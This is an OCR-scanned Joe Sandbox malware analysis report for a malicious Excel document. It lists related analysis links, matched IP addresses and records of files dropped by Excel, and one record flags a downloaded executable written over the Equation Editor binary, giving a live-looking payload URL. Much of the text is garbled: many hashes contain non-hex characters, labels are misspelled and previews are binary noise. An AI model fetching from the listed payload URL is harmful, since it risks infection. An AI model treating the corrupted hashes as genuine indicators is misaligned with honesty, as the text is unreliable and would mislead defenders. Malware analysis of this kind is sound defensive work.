https://view.joesandbox.com/analysis/377840/html/none?idtype=webid
https://view.joesandbox.com/analysis/377794/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/377794/html/none?idtype=webid
https://view.joesandbox.com/analysis/377538/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/377538/html/none?idtype=webid
https://view.joesandbox.com/analysis/377014/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/377014/html/none?idtype=webid
https://view.joesandbox.com/analysis/376583/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/376583/html/none?idtype=webid
https://view.joesandbox.com/analysis/376415/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/376415/html/none?idtype=webid
https://view.joesandbox.com/analysis/376146/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/376146/html/none?idtype=webid
https://view.joesandbox.com/analysis/375904/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/375904/html/none?idtype=webid
https://view.joesandbox.com/analysis/375830/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/375830/html/none?idtype=webid
https://view.joesandbox.com/analysis/375603/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/375603/html/none?idtype=webid
https://view.joesandbox.com/analysis/375547/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/375547/html/none?idtype=webid
https://view.joesandbox.com/analysis/375339/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/375339/html/none?idtype=webid
https://view.joesandbox.com/analysis/375287/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/375287/html/none?idtype=webid

Match
AUTOMATTICUS

Associated Sample Name / URL SHA 256 Detection Link Context

Get hash malicious Browse e 74.114.154.18
Get hash malicious Browse e 192.0.78.25
Get hash malicious Browse e 74.114.154.22

Get hash malicious Browse 74.114.154.22

Get hash malicious Browse 192.0.78.24

Get hash malicious Browse 74.114.154.18

Get hash malicious Browse 74.114.154.22

Get hash malicious Browse 74.114.154.22

Get hash malicious Browse 74.114.154.22

Get hash malicious Browse 74.114.154.22

Get hash malicious Browse 74.114.154.18

Get hash malicious Browse 74.114.154.18

Get hash malicious Browse 74.114.154.18

Get hash malicious Browse 74.114.154.18

Get hash malicious Browse 74.114.154.22

Get hash malicious Browse 74.114.154.22

Get hash malicious Browse 74.114.154.18

Get hash malicious Browse 74.114.154.22

Get hash malicious Browse 74.114.154.18

Get hash malicious Browse 74.114.154.22

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:
|IE Cache URL:

Preview:

C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

downloaded

687616

7.451356907663552

false
12288:D1sWHCM2K4CmllyzQs2TalplYshi/YIGsyT4/vCnacxPWJIPHS62LbzxI:Bc3CrMIplzkwWhOgRP9I
9F2C198407F1A7D058C06CC174817DB6

24EF8B3C123FB588BBO5AES56DFDC19F14B6F22D5
BD6ECBC27DEO51FAB2F753669D77611D137486537358EE6B3C46ED3950D21CEB

EABB799B26ED02EEB7AAE604AFC5843F27B3E8610D85509EA02BE8BA9421A068CE64F8DE3D903E617520B80E458964CF259210BFOEF282B7CFEF5BB4B031754
4

true

low

http://103.133.106.199/rbilvbc.exe

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\13C76BCD.jpeg

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 333x151, frames 3
dropped

14198

7.916688725116637

false

384:IboF1PuTfwKCNtwsU9SjUB7ShYIv7JIrEHaeHj7KHG81l:lboFgwK+wD9SA7ShX7JrEL7TKHG8S
E8FC908D33C78AAAD1DO6E865FCIFIBO
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https://view.joesandbox.com/analysis/379566/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379566/html/none?idtype=webid
https://view.joesandbox.com/analysis/379497/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379497/html/none?idtype=webid
https://view.joesandbox.com/analysis/379423/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379423/html/none?idtype=webid
https://view.joesandbox.com/analysis/379408/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379408/html/none?idtype=webid
https://view.joesandbox.com/analysis/379266/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379266/html/none?idtype=webid
https://view.joesandbox.com/analysis/379215/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379215/html/none?idtype=webid
https://view.joesandbox.com/analysis/379195/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379195/html/none?idtype=webid
https://view.joesandbox.com/analysis/379194/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379194/html/none?idtype=webid
https://view.joesandbox.com/analysis/379192/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379192/html/none?idtype=webid
https://view.joesandbox.com/analysis/379188/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379188/html/none?idtype=webid
https://view.joesandbox.com/analysis/379102/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379102/html/none?idtype=webid
https://view.joesandbox.com/analysis/379027/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379027/html/none?idtype=webid
https://view.joesandbox.com/analysis/379025/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379025/html/none?idtype=webid
https://view.joesandbox.com/analysis/379024/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379024/html/none?idtype=webid
https://view.joesandbox.com/analysis/378988/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378988/html/none?idtype=webid
https://view.joesandbox.com/analysis/378953/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378953/html/none?idtype=webid
https://view.joesandbox.com/analysis/378678/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378678/html/none?idtype=webid
https://view.joesandbox.com/analysis/378676/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378676/html/none?idtype=webid
https://view.joesandbox.com/analysis/378672/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378672/html/none?idtype=webid
https://view.joesandbox.com/analysis/378663/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378663/html/none?idtype=webid

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\13C76BCD.jpeg

SHAL:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

72CA86D260330FC32246D28349C07933E427065D

7BB11564F3C6C559B3AC8ADE3ESFCALD51F5451AFF5C522D70C3BACECOBBB5DO
A005677A2958E533A51A95465308F94BE173F93264A2A3DB58683346CA97E04F14567D53D0066C1EAA33708579CD48B8CD3F02E1C54F126B7F3C4E64AC196E17
false

moderate, very likely benign file

...... JFIF e e L LML

.1A"Q.aq..2B..#R..3b...$r..C......4DSTcs .Q.A . .G.2..}...m..D .Z*5.5...CPL.W..07....h.u..+.B..R.S.I. .m..8.T...
(.YX.St.@r..ca...|5.2...*..%..R.A67........{...X,;..4.D.0"..R...sV8....:dm....2Est-....... U.@......|].4.mn..Ke!G.6*PJ.S>..0....q%..... ..... @..T.P.<.g.ze..((H+ .@%...2.h
P.J..ZP.H..I?s21.$.N..?xP..c..@....A..D.l..... 1..[q*[5(-J..@...$..N...X.U.fHYL.PM..[P........ aY....S.R...Y..(D.]..10........... .. I.|F..E9*..RU:.P...p$.".....2.5.-...a&.@..P...m....

laH;DV)...@u...5.,.h..6.Y,...D.7.....UHe.5.PQ.YM...)..(y.6.U..i V. "2"...&.... .8 4]K)R..\'A...I..B..2[..L(c3J..%..8.3..E0@...."5...

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\15B9D769.png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

PNG image data, 566 x 429, 8-bit/color RGBA, non-interlaced

dropped

84203

7.979766688932294

false
1536:RrpoeM3WUHO25A8HD3S04IL9jvt06302l/Wr9nuQvs+9QvM4PmgZuVHdJI5v3ZK7+:H5YHOhwx4IRTtO6349uQvXJ4PmgZulld
208FD40D2F72D9AED77A86A44782E9E2

216B99E777ED782BDC3BFD1075DB90DFDDABD20F
CBFDB963E074C150190C93796163F3889165BF4471CA77C39E756CF3F6F703FF
7BCE80OFFA8B0707E4598639023876286B6371AE465A9365FA21D2C01405AB090517C448514880713CA22875013074DBI9D5ED8DAI3C223F265C179CFADAGO9AG4
false

moderate, very likely benign file

B NLL)L X _ho(ul0a... ] R.z...2......GJY

\.+b..{>vU.... .~.03....2...m6...sN.0..;/..Y. . H..0..........
(W Sit...m...+.K..<.M=..IN.U..C.]5.=.5..0.d.f.<Km.$.fS..0....}@....k.m.L/$......}....3%..|j....b.r7.0IF..c".....$...)....|O.CK...._....Nv...q.t3l.,. ...vD.-.0.kw....X...-
C..KGId.8.a}|..,...cey....0. =1 PEVE..NL S [w..N.b.W......;..2.00.K{>.K....{wf...... 6Y...,.}.E..X.1.-Y].JImj..pq|.0...e.v.....17....F

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\2A862FF1.emf

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

Windows Enhanced Metafile (EMF) image data version 0x10000

dropped

7788

5.545865526644212

false
96:wrwsCblJaXn/08zDefAm/luoOHo6MiDbDda91RjTBbPXmPAWMOHX:wrwhTNAK400IGbK1IRVWWPAWMOHX
02FBA89D35A5FCB4CD622FE217C6E7C4

AF462A244279D1DFA20D84C9B11C4AEA9FDICS5F5
0C93DF5057D092D43EE31DF8DBIC47C9D55F1654956CB23B5215FB82CD202C07
9FCCDDBA4764A9A5CABD8F15F73E9DEB09B0351E5B3A6641E4F1638EFD2F07D7240101022A1F5B0068E983B02C3BA2FCB09101503557BEC29CE2AE4020561F 1

)i U eiii R EMF... Lo, 8. X 2 C..RLPeiiiiii Seg.oe Ul 6.
L<BuLp.paSywe d...4. p..Ap.....@p'..l- )
........................................................................................................................................................... HD?"KHCcNJIFFOJFIQMHISPJOUPLIWRMVY SPX[UR{IXQ~"XS._ZT.a[U
.c\U.e"V.e”X.g Y.hbY.jaZ.jb\.Id].Id].nd".nf~.

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\2F84C656.jpeg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

JPEG image data, JFIF standard 1.01, resolution (DPI), density 150x150, segment length 16, baseline, precision 8, 1275x1650, frames 3
dropped

85020

7.2472785111025875

false

768:RgngDYqspFlysF6bCd+ksdsOcdAgfpS56wmdhcspOPxm00JkxuacpxoOIWEF3hVL:RUgQGsF60dxW6JImPncpxoOthOip
738BDB90A9D8929A5FB2D06775F3336F

6A92C54218BFBEF83371E825D6B68D4F896CODCE
8A2DB44BA9111358AFE9D111DBB4FC726BA006BFA3943C1EEBDA5A13F87DDAAB

48FB23938E05198A2FE136F5E337A5E5C2D05097AE82AB943EE16BEB23348A81DA55AA030CB4ABCC6129F6EEDSEFC176FECFOBEFAECAEE6C342FC76CCDAA4E
8D6

false
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C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\2F84C656.jpeg

Preview:
...... JFIFCCr}'lA .Qa."q.
2...#B..R..$3br.......%&'()*456 789:CDEFGHIISTUVWXY ZCAEfGNIJSUVWXYZ. ...ttt Wasn 11.AQ
.ag."2...B....#3R..br...$4.% ( e ( O e N e
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O O O Y oY Y GO Y U OO OO Y GO OO U O GO ¢

C:\Usersluser\AppDatalLocal\Microsoft\Windows\Temporary Internet Files\Content.MSO\32D73CD4.png E

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: PNG image data, 476 x 244, 8-bit/color RGB, non-interlaced

Category: dropped

Size (bytes): 49744

Entropy (8bit):  7.99056926749243

Encrypted: true

SSDEEP: 768:wnuJ6pl4ax3egT1LYyelwBiPaaBsZbkCev17dGOhRkJjsv+gZB/UcVaxZJ2LEz:YfplUeWNYF1UiPm+/qlsxZB/ZS

MD5: 63A6CB15B2B8ECD64F1158F5C8FBDCC8

SHA1L: 8783B949B93383C2A5AF7369C6EEBIDSDD7A56F6

SHA-256: AEA49B54BA0E46F19E04BB883DA311518AF3711132E39D3AF143833920CDD232

SHA-512: BB42A40E6EADF558C2AAE82F5FB60B8D3ACO6E669F41B46FCBE65028F02B2E63491DB40E1C6F1B21A830E72EES52586B83A24A055A06C2CCC2D1207C2D5AD6E
45

Malicious: false

Preview:

LIDATX...T.]...G...nuww7.s..U.K.....lh...gli.. K. .t kW.i.>.....B..EO..fa..e..++. P. . A.LS}.. ...5M....p..p-..y]..t7"D).....L..k.
LRKI<UFLSE.L?[B(.9.. H. 0AV..g.m...23..C..g(.%...6..>.0.r...L..t1.Q-.bE.. V.g\G..p.p.X[....*%hyt..@..J...~.p....

> *iU.G.....O..16...iV....@... Jte...5Q.P.v;..B.C..m......0.N......q...b.....Q...c.m0oT.e60B...p.v". ./m...0g...8......6.$.$]p..9....Z.a.sr.;B.a..m
.>.b.. B K { A4w?..B3.2.> 1. L2 fdowrlyly i.'&.?....).e.D 2.06 fG]b\.[........

-lpe L WKLP.q
.a...ieZ..).Y..3.Q*m.r.urb.5@.ev@@....gsb {g-..3j........s.f.|8s$p.?3H......0"..6)...bD... A .+....9..;$.. . W: jBH..ItK

C:\Users\luser\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\446CBE02.png

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: PNG image data, 613 x 80, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 6815

Entropy (8bit):  7.871668067811304

Encrypted: false

SSDEEP: 96:pJzjDc7s5VhrOxAUp8Yy5196FOMVsoKZkI3p1NdBzYPx7yQgtCPelNSMjRP9:ppDc7sk98YM19SC/27QptgtCPWKUI

MD5: E2267BEF7933F02C009EAEFC464EB83D

SHA1L: ACFEECE4B83B30C8B38BEB4E5954B075EAF756AE

SHA-256: BF5DF4A66D0C02D43BB4AC423D0B50831A83CDB8ESC23CF36EAC8D79383AA2A7

SHA-512: AB1C3C23B5533C5A755CCA7FF6D8B8111577ED2823224E2E821DD517BC4E6D2B6E1353B1AFEAC6DB570A8CA1365F82CA24D5E1155C50B12556A1DF25373620
F

Malicious: false

Preview:
PNG........ IHDR...e..P...X....... sBIT.....O.....sRGB gAMA.....a..... pHYs .......... +.....tEXtSoftware.gnome-screenshot...>....IDATX . .tT....2.$.(.C..@.Ah.Z4.9...5[Vzv.
V[9.=..KOKKW......(v.b..kYJ[]..U..T$... L HG O[.%.....7.....""9.Da.$@.$@.$@.$0
VXA =..3..80\7....5().. }<VIQs. .. 3 K[nE..Q..E ............. 2k 4|) eK..S. WA YX.. 4N W....H..H.H..E ). *n.\...Sw.?..0.LM...H..

F$@.$@.$@.$.4..Nv.Hh...OV......9..(......... @ L <. ef& .S..=.MifD.$@.$@.$@.N#.1i..D...qO.S.....rY.oc...|-.X./.].].rm.V<..l.U.g>v.1.G.}h+Z"...S..r. X..S #x...FOKVV.L.&.....8.
9.3m.6@.p..8.#...| RINY.+.b...EW.8".0....;"\ }........|[F.8V...X.8/~>\..S....0. j....M..l.....B.ZN....6\b.G..X.5....OM..M.6@.....yL>.IR.\. ...._.....7.G.i.e....9.I.[F.r...P4ekd.

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\450E8308.jpeg

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=2], baseline, precision 8,
474x379, frames 3

Category: dropped

Size (bytes): 7006

Entropy (8bit):  7.000232770071406

Encrypted: false

SSDEEP: 96:X/yEpZGOnzVjPyCySpv20NPI3ygxZzhEahqwKLBpm1hFpn:PyuZbnRW6NPI3ygEhwK1psvn

MD5: 971312D4A6C9BE9B496160215FE59C19

SHAL: D8AA41C7D43DAAEA305F50ACF0B34901486438BE

SHA-256: 4532AEED5A1EB543882653D009593822781976F5959204C87A277887B8DEBY61

SHA-512: 618B55BCDI9D9533655C220C71104DFBIE2F712E56CDA7A4D3968DE45EE1861267C2D31CF74C195BF259A7151FA1F49DF4AD13431151EE28AD1D3065020CES3E

Malicious: false

Preview:

.. &%t #"(-90(*6+"#2D26'—@@@&0FKE>J9?@=...C ........... =)#)
%&'()*456789:CDEFGHIJSTUVWXY Zcdefghij
stuvwxyz W !1..AQ ag."2...B....#3R..br...$4.%.....&'()*56789: CDEFGHIJSTUVWXYZc
defghijstuvwxyz. . o o (oo o O o o o R (oo (R (o0 O (o O A o (O P O P O S O G G S O
(((((((((((((((((((((((((((((((((((((((((((((
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C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\47DE8EC5.jpeg

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 333x151, frames 3
Category: dropped

Size (bytes): 14198

Entropy (8bit):  7.916688725116637

Encrypted: false

SSDEEP: 384:IboF1PuTiwKCNtwsU9SjUB7ShYIv7JIrEHaeH]7KHG81l:lboFgwK+wD9SA7ShX7JrEL7TKHG8S

MDS5: E8FC908D33C78AAAD1DO6E865FCIFIBO

SHA1L: 72CA86D260330FC32246D28349C07933E427065D

SHA-256: 7BB11564F3C6C559B3AC8ADE3ESFCALD51F5451AFF5C522D70C3BACECOBBB5DO

SHA-512: A005677A2958E533A51A95465308F94BE173F93264A2A3DB58683346CA97E04F14567D53D0066C1EAA33708579CD48B8CD3F02E1C54F126B7F3C4E64AC196E17
Malicious: false

Preview:

(YX.St.@r..ca..|5.2..*.%. RA67.......{..X.;..4.D.0".R...sV8....1Jm...2Est-......U.@......[}.4.mn..KelG.6*PJ.S>.0...q%..... ..... @..TP<.qze..((H+ .@$.. .2.h.
P.]..ZP.H.I12s2L.$.N..2XP..C..@...A.DI..... 1..[q*[5(-J..@...$.N... X.UfHYL.PM.[P......aY....S.R....Y...(D.|..10.......... .. I.|F..E9*...RU.P..p$."....2.5.....a& @..P....m....
laH;DV)...@u...5.,.h..6.Y,...D.7.....UHe.5.PQ.YM...)..(y.6.U..i V. "2"...&.... .8 4]K)R..\'A...I..B..2[...L(c3J..%..8.3..E0@...."5...

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\4E73753E.jpeg

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 150x150, segment length 16, baseline, precision 8, 1275x1650, frames 3

Category: dropped

Size (bytes): 85020

Entropy (8bit): 7.2472785111025875

Encrypted: false

SSDEEP: 768:RgnqDYqgspFlysF6bCd+ksdsOcdAgfpS56wmdhcspOPxm00JkxuacpxoOIWEF3hVL:RUgQGsF60dxW6JImPncpxoOthOip

MD5: 738BDB90AID8929A5FB2D06775F3336F

SHA1L: 6A92C54218BFBEF83371E825D6B68D4F896CODCE

SHA-256: 8A2DB44BA9111358AFE9D111DBB4FC726BA006BFA3943C1EEBDASA13F87DDAAB

SHA-512: 48FB23938E05198A2FE136F5E337A5E5C2D05097AE82AB943EE16BEB23348A81DA55AA030CB4ABCC6129F6EEDSEFC176FECFOBEF4ECAEE6C342FC76CCDA4E
8D6

Malicious: false

Preview:
...... JFIF e Chiiiiiceietecrceeeseenseseee e D e Jee G TAL QALY
2...#B..R..$3br ceWe 11.AQ
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C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5B6C721B.png

Process: C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

File Type: PNG image data, 684 x 477, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 33795

Entropy (8bit):  7.909466841535462

Encrypted: false

SSDEEP: 768:mEWNXSo070x6wlKcaVH1IvLUIGBtadJubNT4Bw:mTDQx6XH1lvYlbdJux4Bw
MD5: 613C306C3CC7C3367595D71BEECD5DE4

SHA1L: CB5E280A2B1F4F1650040842BACC9D3DF916275E

SHA-256: A76D01A33A00E98ACD33BEEIFBE342479EBDA9438C922FE264DCOF1847134294
SHA-512: FCA7D4673A173B4264FC40D26A550B97BD3CC8AC18058F2AABB717DF845B84ED32891F97952D283BE678B09B2E0D31878856C65D40361CC5A5C3E3F6332C96€
Malicious: false

Preview:

.. T+...)ICCPicc..x..gP.....}.M...T).HYZAE...Y."bC..D..i. ...Q).+.X..X.,...."*(.G.L.{"?..zw.93..".........~....06| G$/3 .
.......... {.T.|ABIL..?-V...ag.......>.... W..@..+..pHK..O.....0cccccreeeerc. W Fo {03000 ] XY L2000 (LLLEP.-..0. 4. 'p.0. P..<....C.

kp...}..g .)x "t J. #..0B<.2$.@.T$..GV'%HIR.4 -.O...r..F. ..,....P.D.P..\.@.qh....{*.=v...(*D...' T..)cz..5...0,..c[.b. k.N.{..9.3..c..8=........ 2p[g....\.....7..}...x
1%, fl'..~. 2. H XM.9..JHS$I&.....W..l...H.l.... H.XD.&"M....HT...L#.H.V.e.i.D#.-.h&r..KG."/Q.).kJ.%. .REi.SST..@N..NP?2.$h:4.Z8-. v.v...Nk.a
t}..~..1.l,.&-~M.V.KdD.(YT].+.A40.R...=.91.... X..V.Z..bch...q#qo...R.V...3.D...".h.B.C..%&..C....1v2..7.SL.S...Ld.003....& A.....$.,...r1c%..XgY.X_...R1IR{.F.....

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\6FA1A827.jpeg

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 191x263, frames 3
Category: dropped

Size (bytes): 8815

Entropy (8bit): 7.944898651451431

Encrypted: false

SSDEEP: 192:Qjnr2118e71i2YRD5x5dlyuaQ0ugZIBn+002yHQGYtPto:QZI8e71i2YdRyuZ0b+JGgtPW

MD5: F06432656347B7042C803FE58F4043E1
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C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\6FA1A827.jpeg

SHA1L: 4BD52B10B24EADECA4B227969170C1D06626A639
SHA-256: 409F06FC20F252C724072A88626CB29F299167EAE6655D81DF8EQ084E62D6CF6
SHA-512: 358FEB8CBFFBE6329F31959F0F03C079CF95B494D3C76CF3669D28CA8CDB42B04307AE46CED1FC0605DEF31D9839A0283B43AA5D409ADC283A1CAD787BE9SI
OE
Malicious: false
Preview:
...... JFIF o) (21 1106)-
..... Froererieeeeennn ) ."1A..QRa.#2BS(
.d.@..8&3)d@@7.q...t..3!.... .9.1.....Q.(. W..X&..& 1&T.*.K_.|Kkc.. . Yn..T.LEG[l.-......
$e&.......z..[..3.+~..a.u9d.&9K . xkX"."...Y ..l....... MxPu..b..:0e:.R#... 3..zM..L.n6.Am.Im...0../J.~y....
.1.b.0U...5.0i\.LH1.f.. sl f.3?...bu.P4>_.+.B...eL...R.,..<..3.00$,=.K.!l..Z.... O.l.z...am....C.k..iZ ..<ds...f8f.R...K
C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\800413FC.png E
Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE
File Type: PNG image data, 476 x 244, 8-bit/color RGB, non-interlaced
Category: dropped
Size (bytes): 49744

Entropy (8bit):  7.99056926749243

Encrypted: true

SSDEEP: 768:wnuJ6pl4x3egT1LYyelwBiPaaBsZbkCev17dGOhRkJjsv+gZB/UcVaxZJ2LEz:YfplUeWNYF1UiPm+/qlsxZB/ZS

MDS5: 63A6CB15B2B8ECD64F1158F5C8FBDCC8

SHA1L: 8783B949B93383C2A5AF7369C6EEBID5DD7A56F6

SHA-256: AEA49B54BA0E46F19E04BB883DA311518AF3711132E39D3AF143833920CDD232

SHA-512: BB42A40E6EADF558C2AAEB82F5FB60BBD3ACO6E669F41B46FCBE65028F02B2E63491DB40ELC6F1B21A830E72EES2586B83A24A055A06C2CCC2D1207C2D5AD6E
45

Malicious: false

Preview:
PNG........ IHDR.............. LLM...IDATX...T.]...G.;..nuww7.s...U.K....Ih...gli.. K. t'kW.i.>....B...EO...fa..e..++. P. . . LSk ... sM....p..p-.y]..t7"D)..... L.k
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Jo> o~ LB IUGLLILOLIG.LIV.LLL.@........... Jte...5Q.P.v;..B.C..m......0.N.....q...b.....Q...c.m0oT.e60B...p.v"..."....... 9..G...B}..../m...0g...8......6.$.8]p...9.....Z.a.sr.;B.a...m
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C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\AF2A565F.jpeg

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 191x263, frames 3

Category: dropped

Size (bytes): 8815

Entropy (8bit): 7.944898651451431

Encrypted: false

SSDEEP: 192:Qjnr2118e71i2YRD5x5dlyuaQ0ugZIBn+002yHQGYtPto:QZI8e7li2YdRyuZ0b+JGgtPW

MD5: F06432656347B7042C803FE58F4043E1

SHA1L: 4BD52B10B24EADECA4B227969170C1D06626A639

SHA-256: 409F06FC20F252C724072A88626CB29F299167EAE6655D81DF8E9084E62D6CF6

SHA-512: 358FEBSCBFFBE6329F31959F0F03C079CF95B494D3C76CF3669D28CA8CDB42B04307AE46CED1FC0605DEF31D9839A0283B43AA5D409ADC283A1CAD787BE9SI
OE

Malicious: false

Preview:
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C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\B69A6DE1.png

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: PNG image data, 566 x 429, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 84203

Entropy (8bit):  7.979766688932294

Encrypted: false

SSDEEP: 1536:RrpoeM3WUHO25A8HD3S04IL9jvt063021/Wr9nuQvs+9QvM4PmgZuVHdJI5v3ZK7+:H5YHOhwx4IRTtO6349uQvXJ4PmgZulll
MD5: 208FD40D2F72D9AED77A86A44782E9E2

SHAL: 216B99E777ED782BDC3BFD1075DB90DFDDABD20F

SHA-256: CBFDB963E074C150190C93796163F3889165BF4471CA77C39E756CF3F6F703FF

SHA-512: 7BCE8OFFA8B0707E4598639023876286B6371AE465A9365FA21D2C01405AB090517C448514880713CA22875013074DBID5ED8DA93C223F265C179CFADAGO9AG4
Malicious: false
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C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\B69A6DE1.png

Preview:

\..+b..{>vU.... .. V.z.s. U.cR.gM.X...... 6n...6....06.-. AM.f.=y ...7...;X....q..]...=.|[K..w...}O.{]...G........~.03.....2....m6...sN.0..;/....Y .H..0............ ~
(W..Sit....m...+.K...<.M=..IN.U..C..].5.=...5..g.d.f.<Km..$.fS..0....}@....k.m.L.LS.....}....3%..|j....b.I7.0IF..C"......$...)....|O.CK...._....NVv...q.t3l.,. ...vD.-.0.kw.... X...-
C..KGId.8.a}|..,.....,....q.=r..PEVH#...n. }o [w...N.b..W......;..2.0q.K{>.K....{w{....... 6'...,.}.E.. X.1.-Y].JIm j..pq|.0...e.v.....17....F

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\B9553C63.png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

PNG image data, 684 x 477, 8-bit/color RGBA, non-interlaced

dropped

33795

7.909466841535462

false
768:mMEWNXSo70x6wlKcaVH1IvLUIGBtadJubNT4Bw:mTDQx6XH1lvYIbdJux4Bw
613C306C3CC7C3367595D71BEECD5DE4
CB5E280A2B1F4F1650040842BACCID3DF916275E
A76D01A33A00E98ACD33BEE9FBE342479EBDA9438C922FE264DCOF1847134294
FCA7D4673A173B4264FC40D26A550B97BD3CC8AC18058F2AABB717DF845B84ED32891F97952D283BE678B09B2E0D31878856C65D40361CC5A5C3E3F6332C96€

false

t}..~...1.L/.&-M.V.KdD.(YT].+.A40.R...=.91....X..V.Z..bcb...q#qo...R.V...3.D..."h.B.c..%&..C....1v2..7.SL.S...Ld.003....& A......$.,...rc%..XgY.X_....R1IR{.F.....

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\EBBD63B0.emf

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

Windows Enhanced Metafile (EMF) image data version 0x10000

dropped

648132

2.812168424230982

false

3072:x34ULOtS6WB0JOqFB5AEA7rgXuzqn8nG/ac+5:54UcLe0JOcXuunhqcS
8E7B38167FCDE93FCO04ED4CAD908559E
2D21C75978FO0F40BBA73BC44344EB13EBASACFS5E
